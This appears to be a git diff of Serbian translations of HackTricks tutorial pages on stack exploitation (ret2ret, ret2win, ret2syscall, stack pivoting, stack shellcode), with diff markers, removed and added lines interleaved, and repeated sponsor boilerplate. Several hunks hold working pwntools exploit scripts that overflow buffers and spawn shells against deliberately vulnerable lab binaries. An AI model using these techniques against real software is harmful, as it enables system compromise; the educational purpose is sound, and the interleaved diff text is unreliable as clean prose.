Ako ta adresa pokazuje naš shellcode na steku, moguće je usmeriti tok ka toj adresi dodavanjem adresa instrukciji `ret` dok se ne dostigne ta adresa.
|
||||
Ako ta adresa pokazuje naš shell kod na steku, moguće je usmeriti tok ka toj adresi dodavanjem adresa instrukciji `ret` dok se ne dostigne ta adresa.
|
||||
|
||||
Stoga bi napad bio sledeći:
|
||||
|
||||
* NOP klizaljka
|
||||
* Shellcode
|
||||
* Prepisivanje steka od EIP-a sa **adresama ka `ret`**
|
||||
* 0x00 dodat od strane stringa koji modifikuje adresu sa steka tako da pokazuje na NOP klizaljku
|
||||
* Shell kod
|
||||
* Prepisivanje steka od EIP sa **adresama instrukcije `ret`** (RET klizaljka)
|
||||
* 0x00 dodat stringom menjajući adresu sa steka tako da pokazuje na NOP klizaljku
|
||||
|
||||
Klikom na [**ovaj link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) možete videti primer ranjivog binarnog fajla i [**u ovom**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) eksploit.
|
||||
|
||||
## Ret2pop
|
||||
|
||||
U slučaju da možete pronaći **savšen pokazivač na steku koji ne želite da menjate** (u `ret2ret` smo promenili poslednji najniži bajt u `0x00`), možete izvesti isti napad kao `ret2ret`, ali **dužina RET klizaljke mora biti skraćena za 1** (tako da konačni `0x00` prepisuje podatke neposredno pre savršenog pokazivača), a **poslednja** adresa RET klizaljke mora pokazivati na **`pop <reg>; ret`**.\
|
||||
Na ovaj način, **podaci pre savršenog pokazivača će biti uklonjeni** sa steka (to su podaci pogođeni sa `0x00`) i **konačni `ret` će pokazivati na savršenu adresu** na steku bez ikakve promene.
|
||||
|
||||
Klikom na [**ovaj link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) možete videti primer ranjivog binarnog fajla i [**u ovom** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) eksploit.
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -39,7 +48,7 @@ Stoga bi napad bio sledeći:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -8,7 +8,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
@ -46,7 +46,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
|||
* `-m32`: Kompajliraj program kao 32-bitni binarni fajl (ovo je opcionalno ali često se koristi u CTF izazovima).
|
||||
* `-fno-stack-protector`: Onemogući zaštitu od preplavljivanja steka.
|
||||
* `-z execstack`: Dozvoli izvršavanje koda na steku.
|
||||
* `-no-pie`: Onemogući izvršavanje nezavisno od pozicije kako bi se osiguralo da se adresa funkcije `win` ne promeni.
|
||||
* `-no-pie`: Onemogući Position Independent Executable kako bi se osiguralo da adresa funkcije `win` ostane nepromenjena.
|
||||
* `-o vulnerable`: Nazovi izlazni fajl `vulnerable`.
|
||||
|
||||
### Python Exploit korišćenjem Pwntools
|
||||
|
@ -71,34 +71,29 @@ payload = b'A' * 68 + win_addr
|
|||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Da biste pronašli adresu funkcije `win`, možete koristiti **gdb**, **objdump**, ili bilo koji drugi alat koji vam omogućava da pregledate binarne datoteke. Na primer, sa `objdump`, možete koristiti:
|
||||
Da biste pronašli adresu funkcije `win`, možete koristiti **gdb**, **objdump**, ili bilo koji drugi alat koji vam omogućava da pregledate binarne datoteke. Na primer, sa `objdump`-om, možete koristiti:
|
||||
```sh
|
||||
objdump -d vulnerable | grep win
|
||||
```
|
||||
Ova komanda će vam prikazati sklop `win` funkcije, uključujući njenu početnu adresu.
|
||||
|
||||
Python skripta šalje pažljivo oblikovanu poruku koja, kada je obrađena od strane `vulnerable_function`, preplavljuje bafer i prepisuje adresu povratka na steku adresom `win`. Kada `vulnerable_function` završi, umesto da se vrati na `main` ili izađe, preskače do `win`, i poruka se ispisuje.
|
||||
Python skripta šalje pažljivo oblikovanu poruku koja, kada je obrađena od strane `vulnerable_function`, preplavljuje bafer i prepisuje adresu povratka na steku adresom `win`. Kada se `vulnerable_function` vrati, umesto vraćanja na `main` ili izlaska, prelazi na `win`, i poruka se ispisuje.
|
||||
|
||||
## Zaštite
|
||||
|
||||
* **ASLR** treba biti **onemogućen** da bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i trebaće vam neko curenje informacija da biste saznali gde je funkcija win učitana.
|
||||
* **ASLR** **treba biti onemogućen** da bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i trebaće vam neko curenje informacija da biste saznali gde je funkcija `win` učitana.
|
||||
* **Stack Canaries** takođe treba da budu onemogućeni ili kompromitovana adresa povratka EIP nikada neće biti praćena.
|
||||
|
||||
## Ostali primeri i Reference
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
|
||||
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od početka do naprednog nivoa sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
* 32 bit, bez ASLR
|
||||
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
|
||||
* 64 bita sa ASLR-om, sa curenjem bin adrese
|
||||
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
|
||||
* 64 bita, bez ASLR-a
|
||||
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
|
||||
* 32 bita, bez ASLR-a, duplo malo preplavljivanje, prvo da preplavi stek i poveća veličinu drugog preplavljivanja
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||
* 32 bita, relro, bez canary-a, nx, bez pie-a, format string za prepisivanje adrese `fflush` sa funkcijom `win` (ret2win)
|
||||
|
|
|
@ -6,9 +6,9 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
@ -21,11 +21,11 @@ Ovo je slično kao Ret2lib, međutim, u ovom slučaju nećemo pozivati funkciju
|
|||
Da bismo pripremili poziv za **syscall**, potrebna je sledeća konfiguracija:
|
||||
|
||||
* `rax: 59 Specificira sys_execve`
|
||||
* `rdi: ptr ka "/bin/sh" specificira fajl koji će se izvršiti`
|
||||
* `rdi: ptr to "/bin/sh" specificira fajl koji će se izvršiti`
|
||||
* `rsi: 0 specificira da nema prosleđenih argumenata`
|
||||
* `rdx: 0 specificira da nema prosleđenih promenljivih okruženja`
|
||||
|
||||
Dakle, osnovno je potrebno napisati string `/bin/sh` negde i zatim izvršiti `syscall` (vodeći računa o potrebnom punjenju za kontrolu steka). Za ovo, potreban nam je uređaj za pisanje `/bin/sh` na poznatom mestu.
|
||||
Dakle, osnovno je potrebno napisati string `/bin/sh` negde i zatim izvršiti `syscall` (imajući na umu potrebno poravnanje za kontrolu steka). Za ovo, potreban nam je uređaj za pisanje `/bin/sh` na poznatom mestu.
|
||||
|
||||
{% hint style="success" %}
|
||||
Još jedan interesantan syscall za pozivanje je **`mprotect`** koji bi omogućio napadaču da **modifikuje dozvole stranice u memoriji**.
|
||||
|
@ -47,7 +47,7 @@ Sa ovim adresama je moguće **upisati sadržaj na stek i učitati ga u registre*
|
|||
|
||||
### Upisivačka memorija
|
||||
|
||||
Prvo morate pronaći mesto za pisanje u memoriji
|
||||
Prvo morate pronaći upisivo mesto u memoriji
|
||||
```bash
|
||||
gef> vmmap
|
||||
[ Legend: Code | Heap | Stack ]
|
||||
|
@ -174,20 +174,11 @@ target.sendline(payload)
|
|||
|
||||
target.interactive()
|
||||
```
|
||||
## Reference
|
||||
## Ostali Primeri & Reference
|
||||
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
* 64 bita, bez PIE-a, nx, upisati u neku memoriju ROP za poziv `execve` i skočiti tamo.
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
|
||||
* 64 bita, nx, bez PIE-a, upisati u neku memoriju ROP za poziv `execve` i skočiti tamo. Kako bi se napisala funkcija na steku koja vrši matematičke operacije.
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||
* 64 bita, bez PIE-a, nx, BF canary, upisati u neku memoriju ROP za poziv `execve` i skočiti tamo.
|
||||
|
|
|
@ -30,32 +30,40 @@ I pošto je **EBP u stacku** pre EIP-a, moguće je kontrolisati ga kontrolišuć
|
|||
|
||||
Ova tehnika je posebno korisna kada možete **izmeniti registar EBP ali nemate direktni način da promenite registar EIP**. Iskorišćava ponašanje funkcija kada završe izvršavanje.
|
||||
|
||||
Ako tokom izvršavanja `fvuln` uspete da ubacite **lažni EBP** u stack koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shell koda (plus 4 bajta za `pop` operaciju), možete indirektno kontrolisati EIP. Kada se `fvuln` završi, ESP je postavljen na ovu izrađenu lokaciju, a naknadna `pop` operacija smanjuje ESP za 4, efikasno ga usmeravajući ka vašem shell kodu. Kada se izvrši `ret` instrukcija, kontrola se prenosi na vaš shell kod.
|
||||
Ako tokom izvršavanja `fvuln` uspete da ubacite **lažni EBP** u stack koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shell koda (plus 4 bajta za `pop` operaciju), možete indirektno kontrolisati EIP. Kako `fvuln` završava, ESP je postavljen na ovu izrađenu lokaciju, a naknadna `pop` operacija smanjuje ESP za 4, **efektivno ga usmeravajući na adresu koju je napadač tamo sačuvao.**\
|
||||
Primetite kako **morate znati 2 adrese**: Onu gde će ići ESP, gde ćete morati upisati adresu na koju pokazuje ESP.
|
||||
|
||||
#### Konstrukcija eksploatacije
|
||||
|
||||
Prvo morate **ubaciti svoj shell kod** negde u izvršivu memoriju i **dobiti adresu**, ili dobiti adresu za validan [**ONE\_GADGET**](https://github.com/david942j/one\_gadget), ili postaviti ESP na mesto sa adresom **`system()`** praćeno sa **4 beskorisna bajta** i adresom `"/bin/sh"`.
|
||||
Prvo morate znati **adresu gde možete pisati proizvoljne podatke / adrese**. ESP će pokazivati ovde i **izvršiti prvi `ret`**.
|
||||
|
||||
Zatim, napravite punjenje i **ugrozite EBP** sa `adresom shell koda/one_gadget - 4`. Mora biti `-4` zbog `pop`. Zatim će `ESP` pokazivati na našu željenu adresu i `ret` će biti izvršen.
|
||||
Zatim, morate znati adresu koju koristi `ret` koja će **izvršiti proizvoljni kod**. Možete koristiti:
|
||||
|
||||
#### Eksploatacija Off-By-One
|
||||
* Validnu [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) adresu.
|
||||
* Adresu **`system()`** praćenu sa **4 smećna bajta** i adresom `"/bin/sh"` (x86 bitovi).
|
||||
* Adresu **`jump esp;`** gedžeta ([**ret2esp**](ret2esp-ret2reg.md)) praćenu sa **shell kodom** za izvršavanje.
|
||||
* Neki [**ROP**](rop-return-oriented-programing.md) lanac
|
||||
|
||||
Postoji specifična varijanta ove tehnike poznata kao "Off-By-One Exploit". Koristi se kada možete **samo izmeniti najmanje značajan bajt EBP-a**. U takvom slučaju, lokacija memorije koja čuva adresu shell koda mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa više ograničenim uslovima.
|
||||
Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, moraju biti **`4` bajta** zbog **`pop`** dela `leave` instrukcije. Bilo bi moguće zloupotrebiti ove 4B da postavite **drugi lažni EBP** i nastavite kontrolisati izvršavanje.
|
||||
|
||||
#### Off-By-One eksploatacija
|
||||
|
||||
Postoji specifična varijanta ove tehnike poznata kao "Off-By-One eksploatacija". Koristi se kada možete **samo izmeniti najmanje značajan bajt EBP-a**. U takvom slučaju, lokacija memorije koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa strožijim uslovima.
|
||||
|
||||
### **EBP Chaining**
|
||||
|
||||
Stavljanjem kontrolisane adrese u `EBP` unos stacka i adrese `leave; ret` u `EIP`, moguće je **pomeriti `ESP` na kontrolisanu adresu `EBP` sa stacka**.
|
||||
Stavljanjem kontrolisane adrese u `EBP` unos stacka i adrese za `leave; ret` u `EIP`, moguće je **pomeriti `ESP` na kontrolisanu `EBP` adresu iz stacka**.
|
||||
|
||||
Sada je **`ESP`** kontrolisan pokazujući na željenu adresu i sledeća instrukcija za izvršenje je `RET`. Da bi se iskoristilo ovo, moguće je staviti u kontrolisano mesto ESP-a ovo:
|
||||
Sada je **`ESP`** kontrolisan pokazujući na željenu adresu i sledeća instrukcija za izvršavanje je `RET`. Da biste iskoristili ovo, moguće je staviti na kontrolisano mesto ESP-a ovo:
|
||||
|
||||
* **`&(sledeći lažni EBP)`** -> Učitaj novi EBP zbog `pop ebp` iz `leave` instrukcije
|
||||
* **`system()`** -> Pozvan od strane `ret`
|
||||
* **`&(leave;ret)`** -> Pozvan nakon završetka sistema, pomeriće ESP na lažni EBP i početi ponovo
|
||||
* **`&(leave;ret)`** -> Pozvan nakon što system završi, pomeriće ESP na lažni EBP i početi ponovo
|
||||
* **`&("/bin/sh")`**-> Parametar za `system`
|
||||
|
||||
U osnovi, na ovaj način je moguće povezati nekoliko lažnih EBPa da bi se kontrolisao tok programa.
|
||||
Na ovaj način je moguće povezati nekoliko lažnih EBPa da se kontroliše tok programa.
|
||||
|
||||
Iskreno, ovo je kao [ret2lib](ret2lib/), ali složenije bez očigledne koristi, ali može biti interesantno u nekim specifičnim slučajevima.
|
||||
Iskreno, ovo je kao [ret2lib](ret2lib/), ali složenije bez očigledne koristi ali može biti interesantno u nekim ekstremnim slučajevima.
|
||||
|
||||
Osim toga, ovde imate [**primer izazova**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) koji koristi ovu tehniku sa **procurivanjem stacka** da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:
|
||||
```python
|
||||
|
@ -93,6 +101,33 @@ pause()
|
|||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
## EBP je beskoristan
|
||||
|
||||
Kao što je [**objašnjeno u ovom postu**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ako je binarni fajl kompajliran sa određenim optimizacijama, **EBP nikada ne može kontrolisati ESP**, stoga, bilo koji eksploit koji radi kontrolišući EBP će zapravo neuspeti jer nema stvaran efekat.\
|
||||
To je zato što se **prolog i epilog menjaju** ako je binarni fajl optimizovan.
|
||||
|
||||
* **Nije optimizovan:**
|
||||
```bash
|
||||
push %ebp # save ebp
|
||||
mov %esp,%ebp # set new ebp
|
||||
sub $0x100,%esp # increase stack size
|
||||
.
|
||||
.
|
||||
.
|
||||
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
||||
ret # return
|
||||
```
|
||||
* **Optimizovano:**
|
||||
```bash
|
||||
push %ebx # save ebx
|
||||
sub $0x100,%esp # increase stack size
|
||||
.
|
||||
.
|
||||
.
|
||||
add $0x10c,%esp # reduce stack size
|
||||
pop %ebx # restore ebx
|
||||
ret # return
|
||||
```
|
||||
## Druge metode kontrole RSP
|
||||
|
||||
### **`pop rsp`** gedžet
|
||||
|
|
|
@ -6,9 +6,9 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
@ -36,7 +36,7 @@ printf("Returned safely\n");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Ovaj program je ranjiv na preplavljivanje bafera zbog korišćenja `gets()` funkcije.
|
||||
Ovaj program je ranjiv na preplavljivanje bafera zbog korišćenja funkcije `gets()`.
|
||||
|
||||
### Kompilacija
|
||||
|
||||
|
@ -46,7 +46,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
|||
```
|
||||
* `-fno-stack-protector`: Onemogućava zaštitu steka.
|
||||
* `-z execstack`: Čini stek izvršivim, što je neophodno za izvršavanje shell koda smeštenog na steku.
|
||||
* `-no-pie`: Onemogućava izvršavanje poziciono nezavisnog izvršnog fajla, olakšavajući predviđanje memorijske adrese gde će se nalaziti naš shell kod.
|
||||
* `-no-pie`: Onemogućava izvršavanje poziciono nezavisnog izvršnog fajla, čime se olakšava predviđanje memorijske adrese gde će se nalaziti naš shell kod.
|
||||
* `-m32`: Kompajlira program kao 32-bitni izvršni fajl, često korišćeno radi jednostavnosti u razvoju eksploatacije.
|
||||
|
||||
### Python Eksploatacija korišćenjem Pwntools
|
||||
|
@ -78,30 +78,22 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
|||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Ovaj skript konstruiše payload koji se sastoji od **NOP slide-a**, **shellcode-a**, a zatim prepisuje **EIP** sa adresom koja pokazuje na NOP slide, osiguravajući izvršenje shellcode-a.
|
||||
Ovaj skript konstruiše payload koji se sastoji od **NOP slide-a**, **shellcode-a**, i zatim prepisuje **EIP** sa adresom koja pokazuje na NOP slide, osiguravajući izvršenje shellcode-a.
|
||||
|
||||
**NOP slide** (`asm('nop')`) se koristi kako bi se povećala šansa da izvršenje "klizi" u naš shellcode bez obzira na tačnu adresu. Prilagodite argument `p32()` početnoj adresi vašeg bafera plus offset kako biste dospele do NOP slide-a.
|
||||
**NOP slide** (`asm('nop')`) se koristi kako bi se povećala šansa da izvršenje "klizi" ka našem shellcode-u bez obzira na tačnu adresu. Prilagodite argument `p32()` na početnu adresu vašeg bafera plus offset kako biste dospele do NOP slide-a.
|
||||
|
||||
## Zaštite
|
||||
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **treba da bude onemogućen** kako bi adresa bila pouzdana tokom izvršavanja ili adresa gde će funkcija biti smeštena neće uvek biti ista i trebalo bi da imate neki "leak" kako biste saznali gde je win funkcija učitana.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **treba da bude onemogućen** kako bi adresa bila pouzdana tokom izvršavanja, inače adresa gde će funkcija biti smeštena neće uvek biti ista i trebalo bi da imate neki "leak" kako biste saznali gde je funkcija za pobedu učitana.
|
||||
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) takođe treba da budu onemogućeni ili kompromitovana povratna adresa EIP-a neće biti praćena.
|
||||
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) zaštita **stack-a** bi sprečila izvršenje shellcode-a unutar stack-a jer ta regija neće biti izvršiva.
|
||||
|
||||
## Ostali Primeri
|
||||
## Ostali Primeri & Reference
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
|
||||
* 64-bit, ASLR sa "leak"-om adrese stack-a, upisivanje shellcode-a i skakanje na njega
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
|
||||
* 32-bit, ASLR sa "leak"-om adrese stack-a, upisivanje shellcode-a i skakanje na njega
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
|
||||
* 32-bit, ASLR sa "leak"-om adrese stack-a, upoređivanje kako bi se sprečilo pozivanje exit(), prepisivanje promenljive sa vrednošću, upisivanje shellcode-a i skakanje na njega
|
||||
|
|
Loading…
Reference in a new issue